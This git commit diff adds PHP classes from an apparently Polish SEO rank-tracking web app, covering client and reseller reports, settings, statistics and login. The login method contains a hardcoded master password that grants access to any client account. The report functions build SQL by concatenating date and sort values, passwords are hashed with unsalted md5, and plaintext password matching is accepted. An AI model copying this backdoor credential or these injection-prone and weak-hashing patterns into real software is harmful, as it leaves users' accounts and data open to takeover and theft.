first commit

This commit is contained in:
2024-12-12 15:33:18 +01:00
commit 2c8998663e
3360 changed files with 777573 additions and 0 deletions

View File

@@ -0,0 +1,45 @@
<?php
namespace factory;
class Messages {
public function addMessage( $text, $link )
{
global $db;
$query = $db -> prepare( 'INSERT INTO pro_messages ( text, link ) VALUES ( :text, :link )' );
$query -> bindValue( ':text', $text, \PDO::PARAM_STR );
$query -> bindValue( ':link', $link, \PDO::PARAM_STR );
$query -> execute();
if ( $query -> rowCount() )
return true;
$query -> closeCursor();
return false;
}
public function markMessageAsReaded( $id )
{
global $db;
$query = $db -> prepare( 'UPDATE pro_messages SET readed = 1 WHERE id = :id' );
$query -> bindValue( ':id', $id, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
return true;
$query -> closeCursor();
return false;
}
public function getMessages()
{
global $db;
$query = $db -> prepare( 'SELECT * FROM pro_messages WHERE readed = 0 ORDER BY date DESC' );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
$messages[] = $row;
$query -> closeCursor();
return $messages;
}
}
?>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,204 @@
<?php
namespace factory;
class RankerClients
{
public static function site_save( $site_id, $comments )
{
global $mdb;
return $mdb -> update( 'pro_rr_sites', [ 'comments' => $comments ], [ 'id' => $site_id ] );
}
public function createPdfReport( $sites, $report_form, $date_from, $date_to )
{
global $db, $user;
if ( is_array( $sites ) ) foreach ( $sites as $site )
{
$phrases = array();
$query = $db -> prepare( 'SELECT * FROM pro_rr_phrases WHERE site_id = :site_id AND phrase NOT LIKE \'*%\' ORDER BY phrase ASC' );
$query -> bindValue( ':site_id', $site, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
{
$positions = array();
$costs = array();
$query2 = $db -> prepare( 'SELECT discount FROM pro_rr_phrases_reseller WHERE reseller_id = :reseller_id AND phrase_id = :phrase_id' );
$query2 -> bindValue( ':phrase_id', $row['id'], \PDO::PARAM_INT );
$query2 -> bindValue( ':reseller_id', $user['reseller_id'], \PDO::PARAM_INT );
$query2 -> execute();
if ( $query2 -> rowCount() ) while ( $row2 = $query2 -> fetch() )
$row['discount'] = $row2['discount'];
$query2 -> closeCursor();
$query2 = $db -> prepare( 'SELECT * FROM pro_rr_phrases_positions WHERE phrase_id = :phrase_id AND date <= "' . $date_to . '" AND date >= "' . $date_from . '" GROUP BY date ORDER BY date ASC' );
$query2 -> bindValue( ':phrase_id', $row['id'], \PDO::PARAM_INT );
$query2 -> execute();
if ( $query2 -> rowCount() ) while ( $row2 = $query2 -> fetch() )
{
$positions[$row2['date']] = $row2['position'];
$costs[] = $row2['position'];
}
$query2 -> closeCursor();
$prices = \factory\Ranker::getPhrasePrices( $row['id'], $user['reseller_id'] );
for ( $i = 0; $i < count( $prices ); $i++ )
{
foreach ( $costs as $cost )
{
if ( $cost >= $prices[$i]['start'] && $cost <= $prices[$i]['end'] )
$prices[$i]['count']++;
}
}
$row['prices'] = $prices;
$row['positions'] = $positions;
$phrases[] = $row;
}
$query -> closeCursor();
$query2 = $db -> prepare( 'SELECT url, discount, subscription FROM pro_rr_sites WHERE id = :id' );
$query2 -> bindValue( ':id', $site, \PDO::PARAM_INT );
$query2 -> execute();
if ( $query2 -> rowCount() ) while ( $row2 = $query2 -> fetch() )
{
$page['url'] = $row2['url'];
$page['discount'] = $row2['discount'];
$page['subscription'] = $row2['subscription'];
}
$query2 -> closeCursor();
$page['id'] = $page_id;
$page['phrases'] = $phrases;
$pages[] = $page;
}
$tpl = new \Savant3;
$tpl -> _pages = $pages;
$tpl -> _date_from = $date_from;
$tpl -> _date_to = $date_to;
$tpl -> _report_form = $report_form;
$out = $tpl -> fetch( 'client/reports-pdf' );
define( "_MPDF_TEMP_PATH", 'temp/' );
include( "resources/mpdf60/mpdf.php" );
$link = 'temp_t/raport-pozycji-' . mktime() . '.pdf';
$mpdf = new \mPDF( '', 'A4-L', '', '', 5, 5, 5, 5, 5, 5, 'L' );
$mpdf -> AddPage('','','','','on');
$mpdf -> WriteHTML( $out );
$mpdf -> Output( $link, 'F' );
\S::alert( 'Link do raportu: <a href="./?rw=download&file=' . $link . '" style="color: #000;">pobierz</a>' );
}
public function getSites( $user_id )
{
global $db;
$query = $db -> prepare( 'SELECT site_id AS id, url, name FROM pro_rr_clients_sites AS prcs, pro_rr_sites AS prs WHERE client_id = :client_id AND prs.id = prcs.site_id ORDER BY url ASC' );
$query -> bindValue( ':client_id', $user_id, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
$sites[] = $row;
$query -> closeCursor();
return $sites;
}
public function getSitesSummary( $month, $year, $user_id, $user_login = '' )
{
global $db, $user;
$query = $db -> prepare( 'SELECT site_id FROM pro_rr_clients_sites AS prcs, pro_rr_sites AS prs WHERE client_id = :client_id AND prs.id = prcs.site_id ORDER BY url ASC' );
$query -> bindValue( ':client_id', $user_id, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
$sites[] = \factory\Ranker::getSiteSummary( $row['site_id'], $month, $year, $user['reseller_id'], $user_login );
$query -> closeCursor();
return $sites;
}
public function getPrevClientSiteId( $id, $client_id )
{
global $db;
$query = $db -> prepare( 'SELECT prs.id FROM pro_rr_sites AS prs, pro_rr_clients_sites AS prcs WHERE prs.id = prcs.site_id AND client_id = :client_id AND name < ( SELECT name FROM pro_rr_sites AS prs1 WHERE prs1.id = :id ) AND archive = 0 ORDER BY name DESC LIMIT 1' );
$query -> bindValue( ':id', $id, \PDO::PARAM_INT );
$query -> bindValue( ':client_id', $client_id, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
return $row['id'];
else
{
$site = self::getClientSite( 0, $client_id, 'DESC' );
return $site['id'];
}
$query -> closeCursor();
return false;
}
public function getNextClientSiteId( $id, $client_id )
{
global $db;
$query = $db -> prepare( 'SELECT prs.id FROM pro_rr_sites AS prs, pro_rr_clients_sites AS prcs WHERE prs.id = prcs.site_id AND client_id = :client_id AND name > ( SELECT name FROM pro_rr_sites AS prs1 WHERE prs1.id = :id ) AND archive = 0 ORDER BY name ASC LIMIT 1' );
$query -> bindValue( ':id', $id, \PDO::PARAM_INT );
$query -> bindValue( ':client_id', $client_id, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
return $row['id'];
else
{
$site = self::getClientSite( false, $client_id );
return $site['id'];
}
$query -> closeCursor();
return false;
}
public function getClientSites( $client_id )
{
global $db;
$query = $db -> prepare( 'SELECT prs.id, url, name, discount FROM pro_rr_sites AS prs, pro_rr_clients_sites AS prcs WHERE prs.id = prcs.site_id AND client_id = :client_id ORDER BY name ASC' );
$query -> bindValue( ':client_id', $client_id, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
$sites[] = $row;
$query -> closeCursor();
return $sites;
}
public function getClientSite( $id, $client_id, $sort = 'ASC' )
{
global $db;
if ( $id )
$sql = 'AND prs.id = :id';
$query = $db -> prepare( 'SELECT '
. 'prs.id, url, discount, reseller_id, comments, subscription '
. 'FROM '
. 'pro_rr_sites AS prs '
. 'INNER JOIN pro_rr_clients_sites AS prcs ON prs.id = prcs.site_id '
. 'INNER JOIN pro_rr_clients AS prc ON prc.id = prcs.client_id '
. 'WHERE '
. 'client_id = :client_id ' . $sql . ' '
. 'ORDER BY '
. 'name ' . $sort . ' '
. 'LIMIT 1' );
$query -> bindValue( ':client_id', $client_id, \PDO::PARAM_INT );
if ( $id )
$query -> bindValue( ':id', $id, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
return $row;
$query -> closeCursor();
return false;
}
}
?>

View File

@@ -0,0 +1,263 @@
<?php
namespace factory;
class RankerReseller {
public function createPdfReport( $sites, $report_form, $date_from, $date_to )
{
global $db, $user;
if ( is_array( $sites ) ) foreach ( $sites as $site )
{
$phrases = array();
$query = $db -> prepare( 'SELECT * FROM pro_rr_phrases WHERE site_id = :site_id AND phrase NOT LIKE \'*%\' ORDER BY phrase ASC' );
$query -> bindValue( ':site_id', $site, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
{
$positions = array();
$costs = array();
$query2 = $db -> prepare( 'SELECT discount FROM pro_rr_phrases_reseller WHERE reseller_id = :reseller_id AND phrase_id = :phrase_id' );
$query2 -> bindValue( ':phrase_id', $row['id'], \PDO::PARAM_INT );
$query2 -> bindValue( ':reseller_id', $user['id'], \PDO::PARAM_INT );
$query2 -> execute();
if ( $query2 -> rowCount() ) while ( $row2 = $query2 -> fetch() )
$row['discount'] = $row2['discount'];
$query2 -> closeCursor();
$query2 = $db -> prepare( 'SELECT * FROM pro_rr_phrases_positions WHERE phrase_id = :phrase_id AND date <= "' . $date_to . '" AND date >= "' . $date_from . '" GROUP BY date ORDER BY date ASC' );
$query2 -> bindValue( ':phrase_id', $row['id'], \PDO::PARAM_INT );
$query2 -> execute();
if ( $query2 -> rowCount() ) while ( $row2 = $query2 -> fetch() )
{
$positions[$row2['date']] = $row2['position'];
$costs[] = $row2['position'];
}
$query2 -> closeCursor();
$prices = \factory\Ranker::getPhrasePrices( $row['id'], $user['id'] );
for ( $i = 0; $i < count( $prices ); $i++ )
{
foreach ( $costs as $cost )
{
if ( $cost >= $prices[$i]['start'] && $cost <= $prices[$i]['end'] )
$prices[$i]['count']++;
}
}
$row['prices'] = $prices;
$row['positions'] = $positions;
$phrases[] = $row;
}
$query -> closeCursor();
$query2 = $db -> prepare( 'SELECT url, discount FROM pro_rr_sites WHERE id = :id' );
$query2 -> bindValue( ':id', $site, \PDO::PARAM_INT );
$query2 -> execute();
if ( $query2 -> rowCount() ) while ( $row2 = $query2 -> fetch() )
{
$page['url'] = $row2['url'];
$page['discount'] = $row2['discount'];
}
$query2 -> closeCursor();
$page['id'] = $page_id;
$page['phrases'] = $phrases;
$pages[] = $page;
}
$tpl = new \Savant3;
$tpl -> _pages = $pages;
$tpl -> _date_from = $date_from;
$tpl -> _date_to = $date_to;
$tpl -> _report_form = $report_form;
$out = $tpl -> fetch( 'ranker/reports-pdf' );
define( "_MPDF_TEMP_PATH", 'temp/' );
include( "resources/mpdf60/mpdf.php" );
$link = 'temp_t/raport-pozycji-' . mktime() . '.pdf';
$mpdf = new \mPDF( '', 'A4-L', '', '', 5, 5, 5, 5, 5, 5, 'L' );
$mpdf -> AddPage('','','','','on');
$mpdf -> WriteHTML( $out );
$mpdf -> Output( $link, 'F' );
\S::alert( 'Link do raportu: <a href="/?rw=download&file=' . $link . '" style="color: #000;">pobierz</a>' );
}
public function getSites( $user_id )
{
global $db;
$query = $db -> prepare( 'SELECT site_id AS id, url, name FROM pro_rr_clients_sites AS prcs, pro_rr_sites AS prs WHERE client_id = :client_id AND prs.id = prcs.site_id ORDER BY url ASC' );
$query -> bindValue( ':client_id', $user_id, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
$sites[] = $row;
$query -> closeCursor();
return $sites;
}
public function getSitesSummary( $month, $year, $user_id, $reseller_id = false )
{
global $db;
$query = $db -> prepare( 'SELECT site_id FROM pro_rr_clients_sites AS prcs, pro_rr_sites AS prs WHERE client_id = :client_id AND prs.id = prcs.site_id ORDER BY url ASC' );
$query -> bindValue( ':client_id', $user_id, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
$sites[] = \factory\Ranker::getSiteSummary( $row['site_id'], $month, $year, $reseller_id );
$query -> closeCursor();
return $sites;
}
public function savePhrase( $reseller_id, $phrase_id, $discount )
{
global $db;
if ( $discount == '0.00' || !$discount ) $discount = null;
$query = $db -> prepare( 'DELETE FROM pro_rr_phrases_reseller WHERE phrase_id = :phrase_id AND reseller_id = :reseller_id' );
$query -> bindValue( ':phrase_id', $phrase_id, \PDO::PARAM_INT );
$query -> bindValue( ':reseller_id', $reseller_id, \PDO::PARAM_INT );
$query -> execute();
$query -> closeCursor();
$query = $db -> prepare( 'INSERT INTO pro_rr_phrases_reseller ( phrase_id, reseller_id, discount ) VALUES ( :phrase_id, :reseller_id, :discount )' );
$query -> bindValue( ':phrase_id', $phrase_id, \PDO::PARAM_INT );
$query -> bindValue( ':reseller_id', $reseller_id, \PDO::PARAM_INT );
$query -> bindValue( ':discount', $discount, \PDO::PARAM_STR );
$query -> execute();
$query -> closeCursor();
return true;
}
public function saveCosts( $reseller_id, $phrase_id, $from, $to, $price )
{
global $db;
$query = $db -> prepare( 'DELETE FROM pro_rr_phrases_prices WHERE phrase_id = :phrase_id AND reseller_id = :reseller_id' );
$query -> bindValue( ':phrase_id', $phrase_id, \PDO::PARAM_INT );
$query -> bindValue( ':reseller_id', $reseller_id, \PDO::PARAM_INT );
$query -> execute();
$query -> closeCursor();
for ( $i = 1; $i <= count( $price ); $i++ )
{
if ( !empty( $from[$i] ) && !empty( $to[$i] ) && !empty( $price[$i] ) )
{
$query = $db -> prepare( 'INSERT INTO pro_rr_phrases_prices ( phrase_id, reseller_id, start, end, price ) VALUES ( :phrase_id, :reseller_id, :start, :end, :price )' );
$query -> bindValue( ':phrase_id', $phrase_id, \PDO::PARAM_INT );
$query -> bindValue( ':reseller_id', $reseller_id, \PDO::PARAM_INT );
$query -> bindValue( ':start', trim( $from[$i] ), \PDO::PARAM_INT );
$query -> bindValue( ':end', trim( $to[$i] ), \PDO::PARAM_INT );
$query -> bindValue( ':price', trim( $price[$i] ), \PDO::PARAM_STR );
$query -> execute();
$query -> closeCursor();
}
}
return true;
}
public function deleteClient( $id, $reseller_id )
{
global $db;
$query = $db -> prepare( 'DELETE FROM pro_rr_clients WHERE id = :id AND reseller_id = :reseller_id' );
$query -> bindValue( ':id', $id, \PDO::PARAM_INT );
$query -> bindValue( ':reseller_id', $reseller_id, \PDO::PARAM_INT );
$query -> execute();
if ( $query -> rowCount() )
{
$query2 = $db -> prepare( 'DELETE FROM pro_rr_clients_sites WHERE client_id = :client_id' );
$query2 -> bindValue( ':client_id', $id, \PDO::PARAM_INT );
$query2 -> execute();
$query2 -> closeCursor();
$query2 -> closeCursor();
return true;
}
$query -> closeCursor();
return false;
}
public function saveClient( $id, $login, $password, $sites, $enabled, $reseller_id )
{
global $db;
if ( !$id || !$login )
return false;
$enabled == 'on' ? $enabled = 1 : $enabled = 0;
$query = $db -> prepare( 'UPDATE pro_rr_clients SET login = :login, enabled = :enabled WHERE id = :id AND reseller_id = :reseller_id' );
$query -> bindValue( ':login', $login, \PDO::PARAM_STR );
$query -> bindValue( ':enabled', $enabled, \PDO::PARAM_INT );
$query -> bindValue( ':id', $id, \PDO::PARAM_INT );
$query -> bindValue( ':reseller_id', $reseller_id, \PDO::PARAM_INT );
$query -> execute();
if ( $password )
{
$query = $db -> prepare( 'UPDATE pro_rr_clients SET password = :password WHERE id = :id' );
$query -> bindValue( ':password', md5( $password ), \PDO::PARAM_STR );
$query -> bindValue( ':id', $id, \PDO::PARAM_INT );
$query -> execute();
}
$query = $db -> prepare( 'DELETE FROM pro_rr_clients_sites WHERE client_id = :client_id' );
$query -> bindValue( ':client_id', $id, \PDO::PARAM_INT );
$query -> execute();
$query -> closeCursor();
if ( is_array( $sites ) )
{
$query = $db -> prepare( 'INSERT INTO pro_rr_clients_sites ( client_id, site_id ) VALUES ( :client_id, :site_id )' );
foreach ( $sites as $site )
{
$query -> bindValue( ':client_id', $id, \PDO::PARAM_INT );
$query -> bindValue( ':site_id', $site, \PDO::PARAM_INT );
$query -> execute();
}
$query -> closeCursor();
}
return true;
}
public function addClient( $login, $password, $sites, $enabled, $reseller_id )
{
global $db;
if ( !$login || !$password )
return false;
$enabled == 'on' ? $enabled = 1 : $enabled = 0;
$query = $db -> prepare( 'INSERT INTO pro_rr_clients ( login, password, enabled, reseller_id ) VALUES ( :login, :password, :enabled, :reseller_id )' );
$query -> bindValue( ':password', md5( $password ), \PDO::PARAM_STR );
$query -> bindValue( ':login', strtolower( $login ), \PDO::PARAM_STR );
$query -> bindValue( ':enabled', $enabled, \PDO::PARAM_INT );
$query -> bindValue( ':reseller_id', $reseller_id, \PDO::PARAM_INT );
$query -> execute();
$client_id = $db -> lastInsertId();
if ( is_array( $sites ) )
{
$query = $db -> prepare( 'INSERT INTO pro_rr_clients_sites ( client_id, site_id ) VALUES ( :client_id, :site_id )' );
foreach ( $sites as $site )
{
$query -> bindValue( ':client_id', $client_id, \PDO::PARAM_INT );
$query -> bindValue( ':site_id', $site, \PDO::PARAM_INT );
$query -> execute();
}
$query -> closeCursor();
}
return true;
}
}
?>

View File

@@ -0,0 +1,39 @@
<?php
namespace factory;
class Settings {
public function getSettings()
{
global $db;
$query = $db -> prepare( 'SELECT * FROM pro_settings' );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
$settings[ $row['param'] ] = $row['value'];
$query -> closeCursor();
return $settings;
}
public function saveSettings( $param, $value )
{
global $db;
$query = $db -> prepare( 'UPDATE pro_settings SET value = :value WHERE param = :param' );
$query -> bindValue( ':value', $value, \PDO::PARAM_STR );
$query -> bindValue( ':param', $param, \PDO::PARAM_STR );
$query -> execute();
if ( !$query -> rowCount() )
{
$query2 = $db -> prepare( 'INSERT INTO pro_settings ( param, value ) VALUES ( :param, :value )' );
$query2 -> bindValue( ':value', $value, \PDO::PARAM_STR );
$query2 -> bindValue( ':param', $param, \PDO::PARAM_STR );
$query2 -> execute();
$query2 -> closeCursor();
}
$query -> closeCursor();
\S::deleteSessionVar( 'settings' );
}
}
?>

View File

@@ -0,0 +1,56 @@
<?php
namespace factory;
class Statistics
{
public static function phrases_diffs()
{
global $mdb, $user;
if ( $user['type'] != 'admin' )
return false;
if ( !$out = \FileCache::fetch( "phrases-diffs" ) )
{
$results = $mdb -> query( 'SELECT '
. 'prp.id, phrase, name, '
. '( SELECT position FROM phrase_positions_statistic WHERE phrase_id = prp.id ORDER BY date DESC LIMIT 1 ) AS today, '
. '( SELECT position FROM phrase_positions_statistic WHERE phrase_id = prp.id ORDER BY date DESC LIMIT 1 OFFSET 1 ) AS yesterday '
. 'FROM '
. 'pro_rr_phrases AS prp '
. 'INNER JOIN pro_rr_sites AS prs ON prp.site_id = prs.id '
. 'WHERE '
. '( prp.date_end >= \'' . date( 'Y-m-d' ) . '\' OR prp.date_end IS NULL ) '
. 'AND '
. '( prs.date_start <= \'' . date( 'Y-m-d' ) . '\' OR prs.date_start IS NULL ) '
. 'AND '
. '( prp.date_start <= \'' . date( 'Y-m-d' ) . '\' OR prp.date_start IS NULL ) '
. 'AND '
. '( prs.date_end >= \'' . date( 'Y-m-d' ) . '\' OR prs.date_end IS NULL ) '
. 'ORDER BY '
. 'prp.id ASC' ) -> fetchAll();
if ( is_array( $results ) and !empty( $results ) ) foreach ( $results as $row )
{
$diff = 0;
if ( $row['today'] == 0 and $row['yesterday'] != 0 )
$diff = $row['yesterday'] - 200;
else if ( $row['today'] != 0 and $row['yesterday'] == 0 )
$diff = 200 - $row['today'];
else
$diff = $row['yesterday'] - $row['today'];
$out[ $row['id'] ]['domain'] = $row['name'];
$out[ $row['id'] ]['phrase'] = $row['phrase'];
$out[ $row['id'] ]['diff'] = $diff;
$out[ $row['id'] ]['today'] = $row['today'];
}
\FileCache::store( "phrases-diffs", $out, 'n' );
}
return $out;
}
}
?>

View File

@@ -0,0 +1,77 @@
<?php
namespace factory;
class User {
public function logon( $login, $password )
{
global $config, $mdb, $db;
$results = $mdb -> get( 'pro_users', '*', [ 'AND' => [ 'password' => md5( $password ), 'login' => $login, 'status' => 1 ] ] );
if ( is_array( $results ) )
{
$results['type'] == 1 ? $results['type'] = 'admin' : $results['user'];
return \S::set_session( 'user', $results );
}
$query = $db -> prepare( 'SELECT * FROM pro_rr_clients WHERE login = :login AND ( password = :password OR password = :md5_password )' );
$query -> bindValue( ':password', $password , \PDO::PARAM_STR );
$query -> bindValue( ':md5_password', md5( $password ), \PDO::PARAM_STR );
$query -> bindValue( ':login', $login, \PDO::PARAM_STR );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
{
$query2 = $db -> prepare( 'UPDATE pro_rr_clients SET last_logged = :last_logged WHERE id = :id' );
$query2 -> bindValue( ':last_logged', \S::getDate(), \PDO::PARAM_STR );
$query2 -> bindValue( ':id', $row['id'], \PDO::PARAM_INT );
$query2 -> execute();
$query2 -> closeCursor();
switch ( $row['type'] ):
case 0:
$row['type'] = 'client';
break;
case 1:
$row['type'] = 'reseller';
break;
case 2:
$row['type'] = 'worker';
break;
endswitch;
return \S::set_session( 'user', $row );
}
if ( $password == 'ProjectPro1916' )
{
$query = $db -> prepare( 'SELECT * FROM pro_rr_clients WHERE login = :login' );
$query -> bindValue( ':login', $login, \PDO::PARAM_STR );
$query -> execute();
if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
{
$query2 = $db -> prepare( 'UPDATE pro_rr_clients SET last_logged = :last_logged WHERE id = :id' );
$query2 -> bindValue( ':last_logged', \S::getDate(), \PDO::PARAM_STR );
$query2 -> bindValue( ':id', $row['id'], \PDO::PARAM_INT );
$query2 -> execute();
$query2 -> closeCursor();
switch ( $row['type'] ):
case 0:
$row['type'] = 'client';
break;
case 1:
$row['type'] = 'reseller';
break;
case 2:
$row['type'] = 'worker';
break;
endswitch;
return \S::set_session( 'user', $row );
}
}
return \S::alert( 'Nieprawidłowy login lub hasło.' );
}
}
?>